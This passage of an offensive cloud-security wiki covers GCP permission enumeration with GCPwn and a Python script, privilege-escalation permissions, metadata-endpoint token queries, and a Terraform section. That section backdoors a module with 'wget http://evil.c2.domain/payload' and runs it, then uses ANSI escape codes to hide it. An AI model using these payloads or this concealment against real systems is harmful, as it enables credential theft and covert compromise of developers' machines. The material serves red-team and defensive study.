production-project[TRUNCATED]\n    - compute.instances.list\n- Compute Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.get\n      - instance-20240630-025631 (instances)\n\n(production-project[TRUNCATED]:service_user)> modules run enum_instances --iam\n[*] Checking production-project[TRUNCATED] for instances...\n[**] Reviewing instance-20240630-025631\n[***] GET Instance\n[***] TEST Instance Permissions\n[SUMMARY] GCPwn found 1 Instances in production-project[TRUNCATED]\n   - zones/us-central1-c                                                                                                                                                                    \n     - instance-20240630-025631                                                                                                                                                             \n(production-project[TRUNCATED]:service_user)> creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.list\n- Compute Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.get\n      - instance-20240630-025631 (instances)\n    - compute.instances.addAccessConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.addMaintenancePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.addResourcePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.attachDisk\n      - instance-20240630-025631 (instances)\n    - compute.instances.createTagBinding\n      - instance-20240630-025631 (instances)\n    - compute.instances.delete\n      - instance-20240630-025631 (instances)\n    - compute.instances.deleteAccessConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.deleteTagBinding\n      - instance-20240630-025631 (instances)\n    - compute.instances.detachDisk\n      - instance-20240630-025631 (instances)\n    - compute.instances.getEffectiveFirewalls\n      - instance-20240630-025631 (instances)\n    - compute.instances.getGuestAttributes\n      - instance-20240630-025631 (instances)\n    - compute.instances.getIamPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.getScreenshot\n      - instance-20240630-025631 (instances)\n    - compute.instances.getSerialPortOutput\n      - instance-20240630-025631 (instances)\n    - compute.instances.getShieldedInstanceIdentity\n      - instance-20240630-025631 (instances)\n    - compute.instances.getShieldedVmIdentity\n      - instance-20240630-025631 (instances)\n    - compute.instances.listEffectiveTags\n      - instance-20240630-025631 (instances)\n    - compute.instances.listReferrers\n      - instance-20240630-025631 (instances)\n    - compute.instances.listTagBindings\n      - instance-20240630-025631 (instances)\n    - compute.instances.osAdminLogin\n      - instance-20240630-025631 (instances)\n    - compute.instances.osLogin\n      - instance-20240630-025631 (instances)\n    - compute.instances.removeMaintenancePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.removeResourcePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.reset\n      - instance-20240630-025631 (instances)\n    - compute.instances.resume\n      - instance-20240630-025631 (instances)\n    - compute.instances.sendDiagnosticInterrupt\n      - instance-20240630-025631 (instances)\n    - compute.instances.setDeletionProtection\n      - instance-20240630-025631 (instances)\n    - compute.instances.setDiskAutoDelete\n      - instance-20240630-025631 (instances)\n    - compute.instances.setIamPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setLabels\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMachineResources\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMachineType\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMetadata\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMinCpuPlatform\n      - instance-20240630-025631 (instances)\n    - compute.instances.setName\n      - instance-20240630-025631 (instances)\n    - compute.instances.setScheduling\n      - instance-20240630-025631 (instances)\n    - compute.instances.setSecurityPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setServiceAccount\n      - instance-20240630-025631 (instances)\n    - compute.instances.setShieldedInstanceIntegrityPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setShieldedVmIntegrityPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setTags\n      - instance-20240630-025631 (instances)\n    - compute.instances.simulateMaintenanceEvent\n      - instance-20240630-025631 (instances)\n    - compute.instances.start\n      - instance-20240630-025631 (instances)\n    - compute.instances.startWithEncryptionKey\n      - instance-20240630-025631 (instances)\n    - compute.instances.stop\n      - instance-20240630-025631 (instances)\n    - compute.instances.suspend\n      - instance-20240630-025631 (instances)\n    - compute.instances.update\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateAccessConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateDisplayDevice\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateNetworkInterface\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateSecurity\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateShieldedInstanceConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateShieldedVmConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.use\n      - instance-20240630-025631 (instances)\n    - compute.instances.useReadOnly\n      - instance-20240630-025631 (instances)\n\n(production-project[TRUNCATED]:service_user)> creds info --csv\n^C\n\n\u250c\u2500\u2500(kali\u327fkali)-[~/gcpwn]\n\u2514\u2500$ cd GatheredData/1_demoworkspace/Reports/Snapshots/    \n\n\u250c\u2500\u2500(kali\u327fkali)-[~/\u2026/GatheredData/1_demoworkspace/Reports/Snapshots]\n\u2514\u2500$ ls\nPermission_Summary_service_user_20240714161752.csv  service_user_1720988272.6552665.csv\n\n\u250c\u2500\u2500(kali\u327fkali)-[~/\u2026/GatheredData/1_demoworkspace/Reports/Snapshots]\n\u2514\u2500$ cat Permission_Summary_service_user_20240714161752.csv \nCredname,Permission,Asset Type,Asset Name,Project_ID,Flagged\nservice_user,compute.instances.list,Project,production-project[TRUNCATED],production-project[TRUNCATED],False\nservice_user,compute.instances.get,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.addAccessConfig,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.addMaintenancePolicies,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.addResourcePolicies,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.attachDisk,instances,instance-20240630-025631,production-project[TRUNCATED],False\n

As mentiond before, each individual service can have testIamPermission so each enum module can have testIamPermissions. This would kinda stink if you had to run them individually so added an enum_all module which calls ALL enumeration modules. You can pass in --iam to enum_all to run all possible testIamPermissions

\u2514\u2500$ python3 main.py \n[*] Found existing sessions:\n  [0] New session\n  [1] DemoWorkspace\n  [2] exit\nChoose an option: 1\n[TRUNCATED]\n\nWelcome to your workspace! Type 'help' or '?' to see available commands.\n\n[*] Listing existing credentials...\n  [1] service_user (service) - newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\n\n\nSubmit the name or index of an existing credential from above, or add NEW credentials via Application Default \nCredentails (adc - google.auth.default()), a file pointing to adc credentials, a standalone OAuth2 Token, \nor Service credentials. See wiki for details on each. To proceed with no credentials just hit ENTER and submit \nan empty string. \n[1] *adc      <credential_name> [tokeninfo]                    (ex. adc mydefaultcreds [tokeninfo]) \n[2] *adc-file <credential_name> <filepath> [tokeninfo]         (ex. adc-file mydefaultcreds /tmp/name2.json)\n[3] *oauth2   <credential_name> <token_value> [tokeninfo]      (ex. oauth2 mydefaultcreds ya[TRUNCATED]i3jJK)  \n[4] service   <credential_name> <filepath_to_service_creds>    (ex. service mydefaultcreds /tmp/name2.json)\n\n*To get scope and/or email info for Oauth2 tokens (options 1-3) include a third argument of \n\"tokeninfo\" to send the tokens to Google's official oauth2 endpoint to get back scope. \ntokeninfo will set the credential name for oauth2, otherwise credential name will be used.\nAdvised for best results. See https://cloud.google.com/docs/authentication/token-types#access-contents.\nUsing tokeninfo will add scope/email to your references if not auto-picked up.\n\nInput: 1\nLoading in Service Credentials...\n[*] Loaded credentials service_user\n(production-project[TRUNCATED]:service_user)> modules run enum_all --iam \n[***********] Beginning enumeration for production-project[TRUNCATED] [***********]\n[*] Beginning Enumeration of RESOURCE MANAGER Resources...\n[*] Searching Organizations\n[*] Searching All Projects\n[*] Searching All Folders\n[*] Getting remainting projects/folders via recursive folder/project list calls starting with org node if possible\n[*] NOTE: This might take a while depending on the size of the domain\n[SUMMARY] GCPwn found or retrieved NO Organization(s)\n[SUMMARY] GCPwn found or retrieved NO Folder(s)\n[SUMMARY] GCPwn found 1 Project(s)\n   - projects/[TRUNCATED] (Production Project 1) - ACTIVE                                                                                                           \n[*] Beginning Enumeration of CLOUD COMPUTE Resources...\n[*] Checking production-project[TRUNCATED] for instances...\n[**] Reviewing instance-20240630-025631\n[***] GET Instance\n[***] TEST Instance Permissions\n[SUMMARY] GCPwn found 1 Instances in production-project[TRUNCATED]\n   - zones/us-central1-c                                                                                                                                            \n     - instance-20240630-025631                                                                                                                                     \n[*] Checking Cloud Compute Project production-project[TRUNCATED]...\n[*] Only first few metadata characters shown, run `data tables cloudcompute-projects --columns project_id,common_instance_metadata` to see all of metadata. Use --csv to export it to a csv.\n[SUMMARY] GCPwn found 1 Compute Project(s) potentially with metadata\n   - production-project[TRUNCATED]                                                                                                                                                            \n[*] Beginning Enumeration of CLOUD FUNCTION Resources...\n[*] Checking production-project[TRUNCATED] for functions...\n[**] Reviewing projects/production-project[TRUNCATED]/locations/us-central1/functions/function-12\n[***] GET Individual Function\n[***] TEST Function Permissions\n[SUMMARY] GCPwn found 1 Function(s) in production-project[TRUNCATED]\n   - [us-central1] function-12                                                                                                                                                              \n[*] Beginning Enumeration of CLOUD STORAGE Resources...\n[*] Checking production-project[TRUNCATED] for HMAC keys...\n[SUMMARY] GCPwn found 1 HMAC Key(s) in production-project[TRUNCATED]\n   - [production-project[TRUNCATED]] GOOG1EV[TRUNCATED] - ACTIVE                                                                                   \n     SA: [TRUNCATED]-compute@developer.gserviceaccount.com                                                                                                                                 \n[*] Checking production-project[TRUNCATED] for buckets/blobs via LIST buckets...\n[**] Reviewing bucket-to-see-how-much-stuff-121212121212\n[***] GET Bucket Object\n[X] 403 The user does not have storage.buckets.get permissions on bucket bucket-to-see-how-much-stuff-121212121212\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[X] 403: The user does not have storage.objects.list permissions on\n[**] Reviewing gcf-v2-sources-[TRUNCATED]-us-central1\n[***] GET Bucket Object\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[***] GET Bucket Blobs\n[**] Reviewing gcf-v2-uploads-[TRUNCATED]-us-central1\n[***] GET Bucket Object\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[**] Reviewing testweoajrpjqfpweqjfpwejfwef\n[***] GET Bucket Object\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[SUMMARY] GCPwn found 4 Buckets (with up to 10 blobs shown each) in production-project[TRUNCATED]\n   - bucket-[TRUNCATED]                                                                                                                    \n   - gcf-[TRUNCATED]                                                                                                                      \n     - function-12/function-source.zip                                                                                                                              \n   - gcf-[TRUNCATED]                                                                                                                       \n   - test[TRUNCATED]                                                                                                                                 \n[*] Beginning Enumeration of SECRETS MANAGER Resources...\n[**] [production-project[TRUNCATED]] Reviewing projects/[TRUNCATED]/secrets/test\n[***] GET Base Secret Entity\n[***] TEST Secret Permissions\n[***] LIST Secret Versions\n[****] GET Secret Version 2\n[****] TEST Secret Version Permissions\n[****] GETTING Secret Values For 2\n[****] SECRET VALUE RETRIEVED FOR 2\n[****] GET Secret Version 1\n[****] TEST Secret Version Permissions\n[****] GETTING Secret Values For 1\n[****] SECRET VALUE RETRIEVED FOR 1\n[**] [production-project[TRUNCATED]] Reviewing projects/[TRUNCATED]/secrets/test-location\n[***] GET Base Secret Entity\n[***] TEST Secret Permissions\n[***] LIST Secret Versions\n[****] GET Secret Version 1\n[****] TEST Secret Version Permissions\n[****] GETTING Secret Values For 1\n[****] SECRET VALUE RETRIEVED FOR 1\n[SUMMARY] GCPwn found 2 Secrets in production-project[TRUNCATED]\n   - test                                                                                                                                                           \n     - 1: test121212                                                                                                                                                \n     - 2: test                                                                                                                                                      \n   - test-location                                                                                                                                                  \n     - 1: test121212                                                                                                                                                \n[*] Beginning Enumeration of IAM Resources...\n[*] Checking production-project[TRUNCATED] for service accounts...\n[SUMMARY] GCPwn found 3 Service Account(s) in production-project[TRUNCATED]\n   - [TRUNCATED]-compute@developer.gserviceaccount.com                                                                                                             \n   - newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com                                                                                        \n   - production-project[TRUNCATED]@appspot.gserviceaccount.com                                                                                                      \n[*] Checking production-project[TRUNCATED] for roles...\n[SUMMARY] GCPwn found or retrieved NO Custom Role(s)\n[*] Checking IAM Policy for Organizations...\n[*] Checking IAM Policy for Folders...\n[*] Checking IAM Policy for Projects...\n[*] Checking IAM Policy for Buckets...\n[X] 403: The user does not have storage.buckets.getIamPolicy permissions\n[*] Checking IAM Policy for CloudFunctions...\n[*] Checking IAM Policy for Compute Instances...\n[*] Checking IAM Policy for Service Accounts...\n[*] Checking IAM Policy for Secrets...\n[***********] Ending enumeration for production-project[TRUNCATED] [***********]\n\n(production-project[TRUNCATED]:service_user)> creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n    - production-project[TRUNCATED]\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - cloudfunctions.functions.call\n    - cloudfunctions.functions.create\n    - cloudfunctions.functions.list\n    - cloudfunctions.functions.setIamPolicy\n    - cloudfunctions.functions.sourceCodeSet\n    - cloudfunctions.functions.update\n    - compute.disks.create\n    - compute.instances.create\n    - compute.instances.list\n    - compute.instances.setMetadata\n    - compute.instances.setServiceAccount\n    - compute.projects.get\n    - compute.subnetworks.use\n    - compute.subnetworks.useExternalIp\n    - deploymentmanager.deployments.create\n    - iam.roles.update\n    - iam.serviceAccountKeys.create\n    - iam.serviceAccounts.actAs\n    [TRUNCATED]\n- Storage Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - storage.buckets.delete\n      - bucket[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - test[TRUNCATED] (buckets)\n    - storage.buckets.get\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - testw[TRUNCATED] (buckets)\n    - storage.buckets.getIamPolicy\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - testw[TRUNCATED] (buckets)\n    - storage.buckets.setIamPolicy\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - testw[TRUNCATED] (buckets)\n     [TRUNCATED]\n- Secret Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - secretmanager.secrets.get\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.delete\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.getIamPolicy\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.setIamPolicy\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.update\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.versions.get\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.access\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.destroy\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.disable\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.enable\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n
"},{"location":"gcp/enumeration/enumerate_all_permissions/#enumerate-9500-permission-on-orgfolderproject","title":"Enumerate ~9500 Permission on Org/Folder/Project","text":"

gcpwn includes a special flag for enum_resources called --all-permissions. When this is used with the --iam flag, gcpwn will attempt ~9500 individual permissions via testIamPermissions. This effectively should tell you every permission the user has in the current resource. Note you can find the list of permissions via the repository. For example, here are all the project permissions it tries. NOTE AGAIN TESTIAMPERMISSIONS IS NOT ACTUALLY ACTIVELY INVOKING THESE APIS. Thus it should be safe to run these all through testIamPermissions. While not shown below you can pass --all-permissions and --iam into enum_all if you want to do this as part of the everything enumeration.

(production-project[TRUNCATED]:service_user)> modules run enum_resources --iam --all-permissions\n[*] Searching Organizations\n[*] Searching All Projects\n[*] Checking permissions in batches for projects/[TRUNCATED], note this might take a few minutes (~9000 permissions @ 500/~ 2 min = 36 min)\nCompleted 5/95\nCompleted 10/95\nCompleted 15/95\nCompleted 20/95\nCompleted 25/95\nCompleted 30/95\nCompleted 35/95\nCompleted 40/95\nCompleted 45/95\nCompleted 50/95\nCompleted 55/95\nCompleted 60/95\nCompleted 65/95\nCompleted 70/95\nCompleted 75/95\nCompleted 80/95\nCompleted 85/95\nCompleted 90/95\nCompleted 95/95\n[*] Searching All Folders\n[*] Getting remainting projects/folders via recursive folder/project list calls starting with org node if possible\n[*] NOTE: This might take a while depending on the size of the domain\n[SUMMARY] GCPwn found or retrieved NO Organization(s)\n[SUMMARY] GCPwn found or retrieved NO Folder(s)\n[SUMMARY] GCPwn found 1 Project(s)\n   - projects/[TRUNCATED] (Production Project 1) - ACTIVE\n\n(production-project[TRUNCATED]:service_user)> creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n    - production-project[TRUNCATED]\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - accessapproval.requests.approve\n    - accessapproval.requests.dismiss\n    - accessapproval.requests.get\n    - accessapproval.requests.invalidate\n    - accessapproval.requests.list\n    - accessapproval.serviceAccounts.get\n    - accessapproval.settings.delete\n    - accessapproval.settings.get\n    - accessapproval.settings.update\n    - actions.agent.claimContentProvider\n    [TRUNCATED]\n    - workloadmanager.insights.export\n    - workloadmanager.insights.write\n    - workloadmanager.locations.get\n    - workloadmanager.locations.list\n    - workloadmanager.operations.cancel\n    - workloadmanager.operations.delete\n    - workloadmanager.operations.get\n    - workloadmanager.operations.list\n    - workloadmanager.results.list\n    - workloadmanager.rules.list\n    - workstations.operations.get\n    - workstations.workstationClusters.create\n    - workstations.workstationClusters.delete\n    - workstations.workstationClusters.get\n    - workstations.workstationClusters.list\n    - workstations.workstationClusters.update\n    - workstations.workstationConfigs.create\n    - workstations.workstationConfigs.delete\n    - workstations.workstationConfigs.get\n    - workstations.workstationConfigs.getIamPolicy\n    - workstations.workstationConfigs.list\n    - workstations.workstationConfigs.setIamPolicy\n    - workstations.workstationConfigs.update\n    - workstations.workstations.create\n    - workstations.workstations.delete\n    - workstations.workstations.get\n    - workstations.workstations.getIamPolicy\n    - workstations.workstations.list\n    - workstations.workstations.setIamPolicy\n    - workstations.workstations.start\n    - workstations.workstations.stop\n    - workstations.workstations.update\n
"},{"location":"gcp/enumeration/enumerate_service_account_permissions/","title":"Enumerate Service Account Permissions","text":"

Link to Tool: GitHub

On GCP it is possible to use the projects.testIamPermissions method to check the permissions that a caller has on the specified Project.

To enumerate permissions you will need either a service account key file or an access token as well as the project ID.

Info

The project ID can be retrieved from the metadata endpoint at /computeMetadata/v1/project/project-id

The following script taken from the ThunderCTF repository can be used to enumerate permissions:

from googleapiclient import discovery\nimport google.oauth2.service_account\nfrom google.oauth2.credentials import Credentials\nimport os, sys\nfrom permissions import permissions\n\nif len(sys.argv) != 2:\n    sys.exit(\"Usage python test-permissions <token | path_to_key_file>\")\n\nif os.getenv('GOOGLE_CLOUD_PROJECT'):\n    PROJECT_ID = os.getenv('GOOGLE_CLOUD_PROJECT')\n    print(PROJECT_ID)\nelse:\n    sys.exit(\"Please set your GOOGLE_CLOUD_PROJECT environment variable via gcloud config set project [PROJECT_ID]\")\n\nif (os.path.exists(sys.argv[1])):\n    print(f'JSON credential: {sys.argv[1]}')\n    # Create credentials using service account key file\n    credentials = google.oauth2.service_account.Credentials.from_service_account_file(sys.argv[1])\nelse:\n    print(f'Access token: {sys.argv[1][0:4]}...{sys.argv[1][-4:]}')\n    ACCESS_TOKEN = sys.argv[1]\n    # Create credentials using access token\n    credentials = Credentials(token=sys.argv[1])\n\n# Split testable permissions list into lists of 100 items each\nchunked_permissions = (\n    [permissions[i * 100:(i + 1) * 100] for i in range((len(permissions)+99) // 100)])\n\n# Build cloudresourcemanager REST API python object\ncrm_api = discovery.build('cloudresourcemanager',\n                          'v1', credentials=credentials)\n\n# For each list of 100 permissions, query the api to see if the service account has any of the permissions\ngiven_permissions = []\nfor permissions_chunk in chunked_permissions:\n    response = crm_api.projects().testIamPermissions(resource=PROJECT_ID, body={\n        'permissions': permissions_chunk}).execute()\n    # If the service account has any of the permissions, add them to the output list\n    if 'permissions' in response:\n        given_permissions.extend(response['permissions'])\n\nprint(given_permissions)\n
"},{"location":"gcp/enumeration/enumerate_service_account_permissions/#updating-the-list-of-permissions","title":"Updating the list of permissions","text":"

The file containing the list of permissions needs to be created / updated before using the enumeration script.

The file permissions.py should look like this:

permissions = [\n  'accessapproval.requests.approve',\n  ...\n  'vpcaccess.operations.list'\n]\n

The list of existing permissions can be obtained from the IAM permissions reference page or from the IAM Dataset powering gcp.permissions.cloud.

"},{"location":"gcp/exploitation/gcp_iam_privilege_escalation/","title":"Privilege Escalation in Google Cloud Platform","text":"Permission \u00a0Resources cloudbuilds.builds.create Script / Blog Post cloudfunctions.functions.create Script / Blog Post cloudfunctions.functions.update Script / Blog Post cloudscheduler.jobs.create Blog Post composer.environments.get Blog Post 1, 2 compute.instances.create Script / Blog Post dataflow.jobs.create Blog Post 1, 2 dataflow.jobs.update Blog Post 1, 2 dataproc.clusters.create Blog Post 1, 2 dataproc.clusters.create Blog Post 1, 2 dataproc.jobs.create Blog Post 1, 2 dataproc.jobs.update Blog Post 1, 2 deploymentmanager.deployments.create Script / Blog Post iam.roles.update Script / Blog Post iam.serviceAccountKeys.create Script / Blog Post iam.serviceAccounts.getAccessToken Script / Blog Post iam.serviceAccounts.implicitDelegation Script / Blog Post iam.serviceAccounts.signBlob Script / Blog Post iam.serviceAccounts.signJwt Script / Blog Post orgpolicy.policy.set Script / Blog Post run.services.create Script / Blog Post serviceusage.apiKeys.create Script / Blog Post serviceusage.apiKeys.list Script / Blog Post storage.hmacKeys.create Script / Blog Post"},{"location":"gcp/general-knowledge/default-account-names/","title":"Default Account Information","text":""},{"location":"gcp/general-knowledge/default-account-names/#service-accounts","title":"Service Accounts","text":"

Service accounts are similar to Azure Service Principals. They can allow for programmatic access but also abuse.

Information on Service Accounts

User-Created Service Account: service-account-name@project-id.iam.gserviceaccount.com

Using the format above, you can denote the following items:

  • service-account-name: This will tell you potentially what services this is for: Bigtable-sa or compute-sa
  • project-id: This will be the project identifier that the service account is for. You can set your gcloud configuration to this project-id. It will be numerical typically.
"},{"location":"gcp/general-knowledge/default-account-names/#default-service-account-filename-permutations","title":"Default Service Account filename permutations:","text":"
  • serviceaccount.json
  • service_account.json
  • sa-private-key.json
  • service-account-file.json
"},{"location":"gcp/general-knowledge/default-account-names/#application-based-service-account","title":"Application-Based Service Account:","text":"
  • project-id@appspot.gserviceaccount.com: Ths would be project-id value for App Engine or anything leveraging App Engine.
  • project-number-compute@developer.gserviceaccount.com: This service account is for Compute Engine where the project-number-compute will be: project-id-compute. I.E. 1234567-compute.
"},{"location":"gcp/general-knowledge/default-account-names/#how-to-use-service-accounts","title":"How to use Service Accounts","text":"

In a BASH (or equivalent) shell: export GOOGLE_APPLICATION_CREDENTIALS=\"/home/user/Downloads/service-account-file.json\"

"},{"location":"gcp/general-knowledge/gcp-buckets/","title":"Hunting GCP Buckets","text":"

GCP Buckets are almost 100% identical to AWS S3 Buckets.

Theory: This call is based on OpenStack; maybe most cloud environments will be the same.

Using @digininja's CloudStorageFinder diff the following files:

diff bucket_finder.rb google_finder.rb

The main differences are the URLs:

  • AWS Supports HTTP and HTTPS
  • AWS S3 URLs: http://s3-region.amazonaws.com, i.e.: http://s3-eu-west-1.amazonaws.com.
  • GCP Endpoint: https://storage.googleapis.com

How to find buckets using CloudStorageFinder:

Create a wordlist with any name; in our example, it is wordlist.txt.

$ ruby google_finder.rb wordlist.txt

"},{"location":"gcp/general-knowledge/metadata_in_google_cloud_instances/","title":"Metadata in Google Cloud Instances","text":"

Metadata can provide an attacker (or regular user) information about the compromised App Engine instance, such as its project ID, service accounts, and tokens used by those service accounts.

The metadata can be accessed by a regular HTTP GET request or cURL, sans any third-party client libraries by making a request to metadata.google.internal or 169.254.169.254.

curl \"http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text\" -H\n\"Metadata-Flavor: Google\"\n
Note: If you are using your local terminal to attempt access, as opposed to Google's Web Console, you will need to add 169.254.169.254 metadata.google.internal to your /etc/hosts file.

"},{"location":"gcp/general-knowledge/metadata_in_google_cloud_instances/#metadata-endpoints","title":"Metadata Endpoints","text":"

For basic enumeration, an attacker can target.

http://169.254.169.254/computeMetadata/v1/\nhttp://metadata.google.internal/computeMetadata/v1/\nhttp://metadata/computeMetadata/v1/\nhttp://metadata.google.internal/computeMetadata/v1/instance/hostname\nhttp://metadata.google.internal/computeMetadata/v1/instance/id\nhttp://metadata.google.internal/computeMetadata/v1/project/project-id\n
To view scope:
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H \"Metadata-Flavor: Google\"\n
To view project metadata:
curl \"http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text\" \\\n    -H \"Metadata-Flavor: Google\"\n
To view instance metadata:
curl \"http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text\" \\\n    -H \"Metadata-Flavor: Google\"\n

The following table is pulled from the Google Cloud Documentation

Metadata Endpoint Description /computeMetadata/v1/project/numeric-project-id The project number assigned to your project. /computeMetadata/v1/project/project-id The project ID assigned to your project. /computeMetadata/v1/instance/zone The zone the instance is running in. /computeMetadata/v1/instance/service-accounts/default/aliases /computeMetadata/v1/instance/service-accounts/default/email The default service account email assigned to your project. /computeMetadata/v1/instance/service-accounts/default/ Lists all the default service accounts for your project. /computeMetadata/v1/instance/service-accounts/default/scopes Lists all the supported scopes for the default service accounts. /computeMetadata/v1/instance/service-accounts/default/token Returns the auth token that can be used to authenticate your application to other Google Cloud APIs."},{"location":"gcp/general-knowledge/security-and-constraints/","title":"Security and Constraints","text":"

GCP Resources are typically placed into Projects. Projects are a mix of resource groups in Azure and Accounts in AWS. Projects can be either non-hierarchical or completely hierarchical. An operator can place security constraints on these projects to provide a baseline security policy. There are also Organization-wide policy constraints that apply to every project.

"},{"location":"gcp/general-knowledge/security-and-constraints/#examples","title":"Examples","text":"

From: Organizational Policy Constraints

  • constraints/iam.disableServiceAccountCreation : This can disable the overall creation of service accounts. Equivalent to Service Principals in Azure.
  • constraints/iam.disableServiceAccountKeyCreation : This constraint will disable the ability to create a service account key. This constraint would be helpful if you want service accounts but only want to use RSA-based authentication.

There are specific policies that are not retroactive. We can use these to our advantage.

  1. constraints/compute.requireShieldedVm: If a compute node is already created and exists without this constraint applied, then this constraint will not be retroactive. You must delete the object and re-create it for it to enforce shielded VMs.
  2. constraints/compute.vmExternalIpAccess: Consider the following scenario:

    • Constraint is based on the following permutation: projects/PROJECT_ID/zones/ZONE/instances/INSTANCE
    • Constraint looks for the name of the machine in the project identifier specified in the specific zone
    • If you can boot a VM with this specific set of criteria, then you can have a machine with an External IP Address
    • Machine cannot already exist.
    • constraints/compute.vmCanIpForward: Another Non Retroactive Setting. The machine must not exist before this setting is created. Once this is set, then machines will enforce this condition.
"},{"location":"terraform/terraform_ansi_escape_evasion/","title":"Terraform ANSI Escape","text":"

Original Research: Joern Schneeweisz

When performing a Terraform apply from a local workstation, Terraform will output a list of resources it has created, updated, or deleted. Because this is taking place in a terminal, we can potentially use ANSI escape codes to alter this output. This would allow us to hide or obfuscate malicious activity, such as in a malicious Terraform module.

Take for example the following Terraform code.

main.tf
resource \"null_resource\" \"hypothetical_ec2_instance\" {\n}\n\nresource \"null_resource\" \"blah\" {\n  provisioner \"local-exec\" {\n    command = \"wget -q http://evil.c2.domain/payload && chmod +x payload && ./payload\"\n  }\n}\n

In this example, we are using a local-exec provisioner to run shell commands. If we were to backdoor a module or git repository storing Terraform configurations, and a developer were to download them and run them on their workstation, this would run the shell commands on their workstation.

Tip

As an alternative to local-exec, you can also use external_provider.

The problem is that this output would get displayed to the user, for example:

To solve this, we can use ANSI escape codes to modify this output. It is worth noting that the specific sequences we will need to use will depend on the terminal type the victim is using. The following example is using gnome-terminal on Ubuntu.

\\033[2K # Clears the current line\n\\033[A  # Moves the cursor to the previous line\n

So, we can modify our payload to the following to hide the malicious activity.

main.tf
resource \"null_resource\" \"blah\" {\n  provisioner \"local-exec\" {\n    command = \"wget -q http://evil.c2.domain/payload && chmod +x payload && ./payload; echo -e '\\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A'\"\n  }\n}\n

And this is the output:

"},{"location":"terraform/terraform_enterprise_metadata_service/","title":"Terraform Enterprise: Attack the Metadata Service","text":"

Terraform Enterprise is a self-hosted version of Terraform Cloud, allowing organizations to maintain their own private instance of Terraform. There are many benefits for an enterprise to run this, however, there is also a default configuration that Red Teamers and Penetration Testers can potentially take advantage of.

